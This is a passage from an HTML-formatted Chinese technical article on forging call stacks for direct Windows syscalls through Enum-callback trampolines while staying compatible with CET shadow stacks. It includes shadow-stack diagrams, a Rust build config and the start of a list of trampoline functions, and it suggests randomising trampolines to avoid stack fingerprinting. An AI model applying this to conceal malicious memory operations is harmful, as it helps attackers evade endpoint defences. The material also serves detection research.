0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012916" alt="Phase 1: Shadow stack after reconciliation" class="rich_pages wxw-img" data-ratio="0.6111111111111112" data-type="png" data-w="756" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=512c0844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaartWOEsGTcVdGtbiaGFZ2APobNrJWXt7kMGyDx6aD6KiazuUBfWuET5LhpdIwic85PySadmxkvy3Yliboh2UkDrl4XROoFptDsbk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Phase 1: Shadow stack after reconciliation</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">阶段 1：对账后的影子栈</span></em></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阶段 2</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二次上下文切换适用完全相同的机制。来自 Enum 回调内部的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call user_mode_continue</span></code><span leaf="">将返回地址（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">manual_stack_unwind_enum+0x329</span></code><span leaf="">）压入影子栈。由于我们将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">到系统调用跳板而非返回，此条目是过期的：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012917" alt="Phase 2: Shadow stack before reconciliation" class="rich_pages wxw-img" data-ratio="0.711864406779661" data-type="png" data-w="767" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3dac07ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSia7yjqWvIibwTNibc00LiaTT1IjSMx4zuznY6dxcP4FibF1KTfCsnMwouXuyVYX7wicInUKibOQNdiaiaVlZkFba2NLFicse2JgFNhnx0Rw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Phase 2: Shadow stack before reconciliation</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">阶段 2：对账前的影子栈</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对账循环发现差异并推进 SSP。影子栈现在完美匹配我们伪造的目标（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales+0x348</span></code><span leaf="">），为系统调用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">指令弹出它而不引发 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-nce02t" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常做好准备：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012918" alt="Phase 2: Shadow stack after reconciliation" class="rich_pages wxw-img" data-ratio="0.7017310252996005" data-type="png" data-w="751" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=59104f13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaBqGMriaWB0ianEdwK7K1C3fSon3ztO5iaLjTp584f1Sj6IRwBGcGWhTuyWtGEWicQD7fXDKiaqz88FlOEY9yBcVXh9iaIgCqJI8yiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Phase 2: Shadow stack after reconciliation</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">阶段 2：对账后的影子栈</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统调用成功执行后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ZwProtectVirtualMemory</span></code><span leaf="">正确返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">，证明调用栈和影子栈彼此完美对齐：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012920" alt="Shadow stack vs Normal stack after syscall" class="rich_pages wxw-img" data-ratio="0.6115384615384616" data-type="png" data-w="780" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=300fcea3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaz81bJEZBoyBiaxVCCiaicdz9ibV1rqUzPcdxu2bpwSYLSduKVsZhv5zP1bAOXp8d3D8jOduAoUfDu0GPPicWYiaMuPvI23zAWGIacM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Shadow stack vs Normal stack after syscall</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">系统调用后的影子栈与正常栈对比</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">一个同样有效的替代方案：</span></strong><span leaf="">如果你将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">设为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(always)]</span></code><span leaf="">，就没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">指令，也没有过期条目。影子栈已经对齐，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">产生与 CPU 在真实 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CALL</span></code><span leaf="">链中压入的完全相同的返回地址。对账循环比较，在第一次迭代就找到匹配，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">从不触发。两条路径都 CET 兼容；区别在于对账是主动还是被动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在此 PoC 中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">人为引入过期条目以在受控条件下演练对账。但在任何非平凡的实现中（辅助函数、编译器生成的调用、展开与上下文切换之间的动态分派），这些过期条目自然出现，循环成为结构上必需的。完整讨论见第 5.6 节。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此外，如果 CET 被禁用，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDSSPQ</span></code><span leaf="">返回 0，循环被跳过，一切正常。同一个二进制文件在 CET 和非 CET 系统上都能运行。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6.4 CET 构建配置</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC 以最大 CET 严格性编译：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf=""># .cargo/config.toml</span><span leaf=""><br/></span><span leaf="">[target.x86_64-pc-windows-msvc]</span><span leaf=""><br/></span><span leaf="">rustflags = [</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;control-flow-guard=yes&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/CETCOMPAT&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/force:guardehcont&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/guard:ehcont&#34;,</span><span leaf=""><br/></span><span leaf="">    # &#34;-Z&#34;, &#34;ehcont-guard&#34;,  # requires nightly; uncomment if using rustc nightly</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/DYNAMICBASE&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/NXCOMPAT&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;-C&#34;, &#34;link-arg=/HIGHENTROPYVA&#34;,</span><span leaf=""><br/></span><span leaf="">]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/CETCOMPAT</span></code><span leaf="">将二进制文件标记为 CET 兼容。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/guard:ehcont</span></code><span leaf="">启用 EH 继续元数据，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/force:guardehcont</span></code><span leaf="">告诉链接器即使某些目标文件缺少它也发出它。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-Z ehcont-guard</span></code><span leaf="">标志是 Rust 编译器选项，在 LLVM 层面生成 EH 继续表，但它是 nightly 专用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-Z</span></code><span leaf="">标志，所以默认禁用。PoC 没有它也能正常工作；链接器级标志足以实现 CET 强制。如果你使用 nightly，取消注释以获得全套保险。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果技术有 CET bug，进程会在测试期间崩溃。它没有。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012919" alt="PE DLL Characteristics" class="rich_pages wxw-img" data-ratio="0.49387755102040815" data-type="png" data-w="490" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f361fea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjFiathf9onycl2IqGAibexOQrj5AulhlnnlXQfqHFnNpOTejLslDoacZD8CicYb0rUTuPOubRCk7f7vfO8ibibFjUD7HYs9TrheWeI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">PE DLL Characteristics</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">PE DLL 特征</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7. 39 个 Enum 函数</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7.1 完整列表</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernel32.dll</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">中识别了 39 个接受回调的函数，适合作为跳板。在 PoC 中，为简单起见仅使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">，但在实际实现中，可以在每次 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">调用时随机选择，以防止稳定的栈指纹。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">#</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">函数</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">模块</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">1</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumUILanguagesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumUILanguagesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">3</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span 